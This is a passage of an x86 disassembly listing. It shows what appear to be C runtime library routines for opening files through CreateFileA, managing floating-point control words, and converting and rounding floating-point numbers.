		mov	[ebp+var_10], 1
		jmp	short loc_41FCAD
; ---------------------------------------------------------------------------

loc_41FCAA:				; CODE XREF: sub_41FBF2+90j
		mov	[ebp+var_10], ebx

loc_41FCAD:				; CODE XREF: sub_41FBF2+A4j
					; sub_41FBF2+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FCF7
		jz	short loc_41FCF2
		cmp	ecx, ebx
		jz	short loc_41FCF2
		cmp	ecx, edi
		jz	short loc_41FCE9
		cmp	ecx, 200h
		jz	short loc_41FD10
		cmp	ecx, 300h
		jnz	loc_41FC4E
		mov	[ebp+var_8], 2
		jmp	short loc_41FD20
; ---------------------------------------------------------------------------

loc_41FCE9:				; CODE XREF: sub_41FBF2+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FD20
; ---------------------------------------------------------------------------

loc_41FCF2:				; CODE XREF: sub_41FBF2+D0j
					; sub_41FBF2+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FD20
; ---------------------------------------------------------------------------

loc_41FCF7:				; CODE XREF: sub_41FBF2+CEj
		cmp	ecx, 500h
		jz	short loc_41FD19
		cmp	ecx, 600h
		jz	short loc_41FD10
		cmp	ecx, edx
		jz	short loc_41FD19
		jmp	loc_41FC4E
; ---------------------------------------------------------------------------

loc_41FD10:				; CODE XREF: sub_41FBF2+E0j
					; sub_41FBF2+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FD20
; ---------------------------------------------------------------------------

loc_41FD19:				; CODE XREF: sub_41FBF2+10Bj
					; sub_41FBF2+117j
		mov	[ebp+var_8], 1

loc_41FD20:				; CODE XREF: sub_41FBF2+F5j
					; sub_41FBF2+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41FD3F
		mov	ecx, dword_4894B4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41FD3F
		push	1
		pop	esi

loc_41FD3F:				; CODE XREF: sub_41FBF2+138j
					; sub_41FBF2+148j
		test	al, 40h
		jz	short loc_41FD4D
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_41FD4D:				; CODE XREF: sub_41FBF2+14Fj
		test	ah, 10h
		jz	short loc_41FD54
		or	esi, edi

loc_41FD54:				; CODE XREF: sub_41FBF2+15Ej
		test	al, 20h
		jz	short loc_41FD60
		or	esi, 8000000h
		jmp	short loc_41FD6A
; ---------------------------------------------------------------------------

loc_41FD60:				; CODE XREF: sub_41FBF2+164j
		test	al, 10h
		jz	short loc_41FD6A
		or	esi, 10000000h

loc_41FD6A:				; CODE XREF: sub_41FBF2+16Cj
					; sub_41FBF2+170j
		call	sub_41F9D8
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41FD8B
		and	dword_4894B0, 0
		mov	dword_4894AC, 18h
		jmp	short loc_41FDC9
; ---------------------------------------------------------------------------

loc_41FD8B:				; CODE XREF: sub_41FBF2+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_423084	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41FDBC
		push	esi
		call	dword_423030	; GetFileType
		test	eax, eax
		jnz	short loc_41FDD0
		push	esi
		call	dword_423078	; CloseHandle

loc_41FDBC:				; CODE XREF: sub_41FBF2+1B6j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41EC6F
		pop	ecx

loc_41FDC9:				; CODE XREF: sub_41FBF2+197j
		mov	eax, edi
		jmp	loc_41FEA6
; ---------------------------------------------------------------------------

loc_41FDD0:				; CODE XREF: sub_41FBF2+1C1j
		cmp	eax, 2
		jnz	short loc_41FDDB
		or	[ebp+var_1], 40h
		jmp	short loc_41FDE4
; ---------------------------------------------------------------------------

loc_41FDDB:				; CODE XREF: sub_41FBF2+1E1j
		cmp	eax, 3
		jnz	short loc_41FDE4
		or	[ebp+var_1], 8

loc_41FDE4:				; CODE XREF: sub_41FBF2+1E7j
					; sub_41FBF2+1ECj
		push	esi
		push	ebx
		call	sub_41FA6D
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41FE8D
		test	al, 80h
		jz	short loc_41FE8D
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41FE8D
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41FE42
		cmp	dword_4894B0, 83h
		jz	short loc_41FE8D
		jmp	short loc_41FE81
; ---------------------------------------------------------------------------

loc_41FE42:				; CODE XREF: sub_41FBF2+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E021
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FE6F
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41FE6F
		push	[ebp+var_10]
		push	ebx
		call	sub_420F21
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41FE81

loc_41FE6F:				; CODE XREF: sub_41FBF2+265j
					; sub_41FBF2+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E217
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE8D

loc_41FE81:				; CODE XREF: sub_41FBF2+24Ej
					; sub_41FBF2+27Bj
		push	ebx
		call	sub_41A3B7
		pop	ecx

loc_41FE88:				; CODE XREF: sub_41FBF2+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41FEA6
; ---------------------------------------------------------------------------

loc_41FE8D:				; CODE XREF: sub_41FBF2+221j
					; sub_41FBF2+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41FEA4
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41FEA4
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_41FEA4:				; CODE XREF: sub_41FBF2+29Fj
					; sub_41FBF2+2A5j
		mov	eax, ebx

loc_41FEA6:				; CODE XREF: sub_41FBF2+1D9j
					; sub_41FBF2+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEAB	proc near		; CODE XREF: sub_41C20A+52p
		xor	eax, eax
		retn
sub_41FEAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEAE	proc near		; CODE XREF: sub_41FEE3+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41FEF9
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41FF8B
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41FEAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEE3	proc near		; CODE XREF: sub_41C4F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41FEAE
		pop	ecx
		pop	ecx
		retn
sub_41FEE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEF9	proc near		; CODE XREF: sub_41FEAE+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41FF0A
		push	10h
		pop	eax

loc_41FF0A:				; CODE XREF: sub_41FEF9+Cj
		test	bl, 4
		jz	short loc_41FF11
		or	al, 8

loc_41FF11:				; CODE XREF: sub_41FEF9+14j
		test	bl, 8
		jz	short loc_41FF18
		or	al, 4

loc_41FF18:				; CODE XREF: sub_41FEF9+1Bj
		test	bl, 10h
		jz	short loc_41FF1F
		or	al, 2

loc_41FF1F:				; CODE XREF: sub_41FEF9+22j
		test	bl, 20h
		jz	short loc_41FF26
		or	al, 1

loc_41FF26:				; CODE XREF: sub_41FEF9+29j
		test	bl, 2
		jz	short loc_41FF30
		or	eax, 80000h

loc_41FF30:				; CODE XREF: sub_41FEF9+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41FF68
		cmp	edx, 400h
		jz	short loc_41FF65
		cmp	edx, 800h
		jz	short loc_41FF61
		cmp	edx, esi
		jnz	short loc_41FF68
		or	eax, edi
		jmp	short loc_41FF68
; ---------------------------------------------------------------------------

loc_41FF61:				; CODE XREF: sub_41FEF9+5Ej
		or	eax, ebp
		jmp	short loc_41FF68
; ---------------------------------------------------------------------------

loc_41FF65:				; CODE XREF: sub_41FEF9+56j
		or	ah, 1

loc_41FF68:				; CODE XREF: sub_41FEF9+4Ej
					; sub_41FEF9+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41FF78
		cmp	ecx, ebp
		jnz	short loc_41FF7D
		or	eax, 10000h
		jmp	short loc_41FF7D
; ---------------------------------------------------------------------------

loc_41FF78:				; CODE XREF: sub_41FEF9+72j
		or	eax, 20000h

loc_41FF7D:				; CODE XREF: sub_41FEF9+76j
					; sub_41FEF9+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41FF8A
		or	eax, 40000h

locret_41FF8A:				; CODE XREF: sub_41FEF9+8Aj
		retn
sub_41FEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF8B	proc near		; CODE XREF: sub_41FEAE+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41FF9B
		push	1
		pop	eax

loc_41FF9B:				; CODE XREF: sub_41FF8B+Bj
		test	bl, 8
		jz	short loc_41FFA2
		or	al, 4

loc_41FFA2:				; CODE XREF: sub_41FF8B+13j
		test	bl, 4
		jz	short loc_41FFA9
		or	al, 8

loc_41FFA9:				; CODE XREF: sub_41FF8B+1Aj
		test	bl, 2
		jz	short loc_41FFB0
		or	al, 10h

loc_41FFB0:				; CODE XREF: sub_41FF8B+21j
		test	bl, 1
		jz	short loc_41FFB7
		or	al, 20h

loc_41FFB7:				; CODE XREF: sub_41FF8B+28j
		test	ebx, 80000h
		jz	short loc_41FFC1
		or	al, 2

loc_41FFC1:				; CODE XREF: sub_41FF8B+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41FFEE
		cmp	ecx, 100h
		jz	short loc_41FFEB
		cmp	ecx, esi
		jz	short loc_41FFE6
		cmp	ecx, edx
		jnz	short loc_41FFEE
		or	ah, 0Ch
		jmp	short loc_41FFEE
; ---------------------------------------------------------------------------

loc_41FFE6:				; CODE XREF: sub_41FF8B+50j
		or	ah, 8
		jmp	short loc_41FFEE
; ---------------------------------------------------------------------------

loc_41FFEB:				; CODE XREF: sub_41FF8B+4Cj
		or	ah, 4

loc_41FFEE:				; CODE XREF: sub_41FF8B+44j
					; sub_41FF8B+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_420004
		cmp	ecx, 10000h
		jnz	short loc_420006
		or	eax, esi
		jmp	short loc_420006
; ---------------------------------------------------------------------------

loc_420004:				; CODE XREF: sub_41FF8B+6Bj
		or	eax, edx

loc_420006:				; CODE XREF: sub_41FF8B+73j
					; sub_41FF8B+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_420013
		or	ah, 10h

locret_420013:				; CODE XREF: sub_41FF8B+83j
		retn
sub_41FF8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420014	proc near		; CODE XREF: sub_4200B3+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_420059
		inc	esi
		cmp	esi, 3
		jge	short loc_420054
		lea	eax, [eax+esi*4]

loc_420046:				; CODE XREF: sub_420014+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_420059
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_420046

loc_420054:				; CODE XREF: sub_420014+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_420059:				; CODE XREF: sub_420014+27j
					; sub_420014+35j
		xor	eax, eax
		pop	esi
		retn
sub_420014	endp


; =============== S U B	R O U T	I N E =======================================



sub_42005D	proc near		; CODE XREF: sub_4200B3+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421067
		add	esp, 0Ch
		dec	esi
		js	short loc_4200AF
		lea	edi, [ebx+esi*4]

loc_420096:				; CODE XREF: sub_42005D+50j
		test	eax, eax
		jz	short loc_4200AF
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421067
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_420096

loc_4200AF:				; CODE XREF: sub_42005D+34j
					; sub_42005D+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42005D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200B3	proc near		; CODE XREF: sub_42020E+81p
					; sub_42020E+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_420117
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_420014
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420114
		push	edi
		push	[ebp+arg_0]
		call	sub_42005D
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_420114:				; CODE XREF: sub_4200B3+51j
		mov	eax, [ebp+arg_4]

loc_420117:				; CODE XREF: sub_4200B3+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_420137
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_420137:				; CODE XREF: sub_4200B3+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4200B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42013F	proc near		; CODE XREF: sub_42020E+75p
					; sub_42020E+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_42014D:				; CODE XREF: sub_42013F+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_42014D
		pop	esi
		retn
sub_42013F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42015A	proc near		; CODE XREF: sub_42020E+5Fp
					; sub_42020E+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42015A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420166	proc near		; CODE XREF: sub_42020E+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_42016C:				; CODE XREF: sub_420166+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_42017E
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_42016C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42017E:				; CODE XREF: sub_420166+9j
		xor	eax, eax
		retn
sub_420166	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420181	proc near		; CODE XREF: sub_42020E+C0p
					; sub_42020E+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_4201B7:				; CODE XREF: sub_420181+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_4201B7
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4201E9:				; CODE XREF: sub_420181+86j
		cmp	ebx, edi
		jl	short loc_4201FC
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_420203
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_420181+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_420203:				; CODE XREF: sub_420181+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4201E9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42020E	proc near		; CODE XREF: sub_42037A+Dp
					; sub_420390+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42027B
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_420166
		test	eax, eax
		pop	ecx
		jnz	loc_42033A
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42015A
		pop	ecx

loc_420273:				; CODE XREF: sub_42020E+E4j
		push	2

loc_420275:				; CODE XREF: sub_42020E+110j
		pop	eax
		jmp	loc_42033C
; ---------------------------------------------------------------------------

loc_42027B:				; CODE XREF: sub_42020E+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42013F
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4200B3
		add	esp, 10h
		test	eax, eax
		jz	short loc_42029C
		inc	ebx

loc_42029C:				; CODE XREF: sub_42020E+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_4202B4
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42015A
		pop	ecx
		jmp	short loc_4202F0
; ---------------------------------------------------------------------------

loc_4202B4:				; CODE XREF: sub_42020E+98j
		cmp	ebx, eax
		jg	short loc_4202F7
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42013F
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420181
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4200B3
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420181
		add	esp, 20h

loc_4202F0:				; CODE XREF: sub_42020E+A4j
		xor	esi, esi
		jmp	loc_420273
; ---------------------------------------------------------------------------

loc_4202F7:				; CODE XREF: sub_42020E+A8j
		cmp	ebx, [edi]
		jl	short loc_420323
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42015A
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420181
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420275
; ---------------------------------------------------------------------------

loc_420323:				; CODE XREF: sub_42020E+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420181
		pop	ecx
		pop	ecx

loc_42033A:				; CODE XREF: sub_42020E+55j
		xor	eax, eax

loc_42033C:				; CODE XREF: sub_42020E+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42036B
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420375
; ---------------------------------------------------------------------------

loc_42036B:				; CODE XREF: sub_42020E+14Ej
		cmp	edi, 20h
		jnz	short loc_420375
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420375:				; CODE XREF: sub_42020E+15Bj
					; sub_42020E+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42020E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42037A	proc near		; CODE XREF: sub_4203A6+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B420
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42020E
		add	esp, 0Ch
		retn
sub_42037A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420390	proc near		; CODE XREF: sub_4203D3+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43B438
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42020E
		add	esp, 0Ch
		retn
sub_420390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203A6	proc near		; CODE XREF: sub_41C62F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421208
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42037A
		add	esp, 24h
		leave
		retn
sub_4203A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203D3	proc near		; CODE XREF: sub_41C62F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_421208
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420390
		add	esp, 24h
		leave
		retn
sub_4203D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420400	proc near		; CODE XREF: sub_41C66D+65p
					; sub_41C771+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42043D
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_420423:				; CODE XREF: sub_420400+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_42042F
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420432
; ---------------------------------------------------------------------------

loc_42042F:				; CODE XREF: sub_420400+27j
		push	30h
		pop	edx

loc_420432:				; CODE XREF: sub_420400+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_420423
		mov	edx, [ebp+arg_8]

loc_42043D:				; CODE XREF: sub_420400+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_420456
		cmp	byte ptr [ecx],	35h
		jl	short loc_420456

loc_420449:				; CODE XREF: sub_420400+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420454
		mov	byte ptr [eax],	30h
		jmp	short loc_420449
; ---------------------------------------------------------------------------

loc_420454:				; CODE XREF: sub_420400+4Dj
		inc	byte ptr [eax]

loc_420456:				; CODE XREF: sub_420400+42j
					; sub_420400+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420460
		inc	dword ptr [edx+4]
		jmp	short loc_420472
; ---------------------------------------------------------------------------

loc_420460:				; CODE XREF: sub_420400+59j
		push	edi
		call	sub_4177B0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_417FC0
		add	esp, 10h

loc_420472:				; CODE XREF: sub_420400+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420400	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420477	proc near		; CODE XREF: sub_41C66D+3Fp
					; sub_41C771+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4204DB
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_489680
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4216D9
		mov	dword_4896A8, eax
		add	esp, 18h
		movsx	eax, byte_489682
		mov	dword_4896A0, eax
		pop	edi
		movsx	eax, word_489680
		mov	dword_4896A4, eax
		mov	dword_4896AC, offset dword_489684
		mov	eax, offset dword_4896A0
		pop	esi
		leave
		retn
sub_420477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204DB	proc near		; CODE XREF: sub_420477+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
